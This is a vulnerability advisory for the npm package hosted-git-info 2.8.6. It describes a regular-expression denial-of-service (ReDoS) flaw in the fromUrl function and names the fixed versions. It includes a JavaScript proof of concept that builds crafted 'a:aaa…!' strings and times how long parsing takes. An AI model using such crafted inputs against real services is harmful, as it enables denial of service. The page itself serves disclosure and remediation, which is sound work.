hosted-git-info@2.8.6 vulnerabilities

Provides metadata and conversions from repository urls for GitHub, Bitbucket and GitLab

Direct Vulnerabilities

Known vulnerabilities in the hosted-git-info package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

hosted-git-info is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.

PoC by Yeting Li

var hostedGitInfo = require("hosted-git-info")
function build_attack(n) {
    var ret = "a:"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }
    return ret + "!";
}

for(var i = 1; i <= 5000000; i++) {
   if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       var parsedInfo = hostedGitInfo.fromUrl(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade hosted-git-info to version 3.0.8, 2.8.9 or higher.

>=3.0.0 <3.0.8 <2.8.9